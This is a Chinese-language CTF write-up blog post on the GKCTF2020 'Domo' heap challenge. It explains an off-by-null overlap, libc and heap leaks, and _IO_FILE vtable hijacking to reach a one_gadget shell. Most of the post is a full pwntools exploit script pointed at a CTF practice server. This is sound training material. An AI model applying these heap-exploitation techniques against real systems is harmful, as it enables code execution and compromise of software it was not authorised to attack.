• 寒假训练 [GKCTF2020]Domo(4/250) 劫持vtable


    这是一道非常典型的vtable了,整个getshell的利用手法几乎是我目前会的所有的技巧了,不过还是看了p1ay2win师傅的博客才会写的

    流程分析

    add函数填入大小和内容,并且有off-by-null,有off-by-null很容易想到overlap

     edit函数,这个函数可以对任意位置进行读写一个值,但free_hook和malloc_hook都有检查,但我感觉还是可以修改别的,但我对linux的源码理解很差,所以无法想到别的

     show函数

     delete函数

     思路

    1. 首先heap题几乎都是先泄露libc,直接通过add一个不属于fastbin的大小chunk,在申请回来,打印出来即可泄露libc地址
    2. 由于我们需要overlap,所以我们需要知道堆的地址,让fake chunk->fd->bk=fake chunk,fake chunk->bk->fd=fake chunk,这是unsorted bin中的检查,所以我们需要leak heap地址,这里我们直接用泄露libc的方法来泄露heap地址
    3. 泄露完libc后,就可以开始overlap了,首先分配两个chunk,第一个(fake chunk)加第二个chunk-0x10要属于unsorted bin中,第三chunk也要属于unsorted bin,然后通过向上合并,进行unlink,注意这里的fake chunk的fd和bk指针需要过保护
    4. overlap后,由于malloc_hook和free_hook不能修改,但我们还有puts函数,由于有relo保护,所以我们可以通过劫持vtable来进行getshell,由于_IO_2_1_stdin_指向的是一个_IO_FILE_plus结构体,所以我们需要找到他的vtable,并且修改其值为我们的fake vtable
    5. 由于我们overlap了,我们可以释放掉先前分配出来的第二个chunk,然后修改其fd指针为我们_IO_2_1_stdin_所指的结构体里面,在这里,可以分配到160-3的位置(有个0x7f),然后根据偏移修改vtable指针,64位的是0xd8
    6. 修改vtable为自己的fake vtable后,自己的fake vtable是个one_gadget即可

    exp

    from pwn import *
    
    #p=process('./domo')
    p=remote('node3.buuoj.cn',25095)
    #libc=ELF('../libc-2.23.so')
    libc=ELF('./libc.so.6')
    def add(size,content):
        p.sendlineafter('> ','1')
        p.sendlineafter('size:',str(size))
        p.sendlineafter('content:',content)
    
    def delete(index):
        p.sendlineafter('> ','2')
        p.sendlineafter('index:',str(index))
    
    def show(index):
        p.sendlineafter('> ','3')
        p.sendlineafter('index:
    ',str(index))
        return p.recv(6)
    
    def edit(addr,num):
        p.sendlineafter('> ','4')
        p.sendlineafter('addr:',str(addr))
        p.sendlineafter('num:',num)
    
    #leak libc
    add(0x40,p64(0)+p64(0xb0))#0
    add(0x60,'')#1
    add(0xf0,'pppp')#2
    add(0x10,'')#3
    
    delete(2)
    add(0xf0,'')#2
    libc.address=u64(show(2).ljust(8,b'x00'))+(0x7ffff7bcdb78 - 0x7ffff7bcdb0a)-(0x7f3d7a680b78 - 0x7f3d7a2bc000)
    print('libc:'+hex(libc.address))
    #leak heap
    add(0x10,'')#4
    delete(3)
    delete(4)
    add(0x10,'')#3
    heap=u64(show(3).ljust(8,b'x00'))-0xa-0xf0
    print('heap:'+hex(heap))
    #overlap
    delete(0)
    add(0x40,p64(0)+p64(0xb1)+p64(heap+0x18)+p64(heap+0x20)+p64(heap+0x10))#0
    delete(1)
    add(0x68,b'x00'*0x60+p64(0xb0))#1
    delete(2)
    #hook vtable
    _IO_file_jumps = libc.sym['_IO_file_jumps']
    _IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
    fake_chunk = _IO_2_1_stdin_ + 160 - 0x3
    fake_vtable = heap + 0x210
    one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
    
    add(0xc0,'')#2
    add(0x60,'')#4
    
    delete(4)
    delete(1)
    delete(2)
    
    add(0xc0,b'p'*0x38+p64(0x71)+p64(fake_chunk))#1
    add(0xa8,p64(0)+p64(0)+p64(libc.address + one_gadgets[2])*19)
    add(0x60,'')#2
    add(0x63,b'x00'*3+p64(0)+p64(0)+p64(0xffffffff)+p64(0)+p64(0)+p64(fake_vtable)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0))
    
    #delete()
    
    
    #gdb.attach(p)
    p.interactive()

     不足

    这道题技巧都会了,但自己写的时候还是很懵逼,比如泄露libc的时候,我一开始就想的是利用overlap来泄露libc,但我忘记了需要过保护,当然这次libc的泄露方法以前有这么想过,但很少有题目会这么直观的给你leak libc,所以不能光懂技巧,更要懂本质。

    关于file的目前已经了解了一点了,其实这里我们也没必要改那么多成员为one_gadget,但我还是太菜了,没有逆过这些源码

  • 相关阅读:
    创建型模式之单例模式
    创建型模式之抽象工厂模式
    创建型模式之工厂模式
    设计模式的6大原则
    设计模式简介以及分类介绍
    线程同步的5种方式
    jvm内存分区及各区线程问题
    leetcode-Best Time to Buy and Sell Stock
    leetcode-Maximum Subarray
    实习小记-大公司小公司
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14257244.html
Copyright © 2020-2023  润新知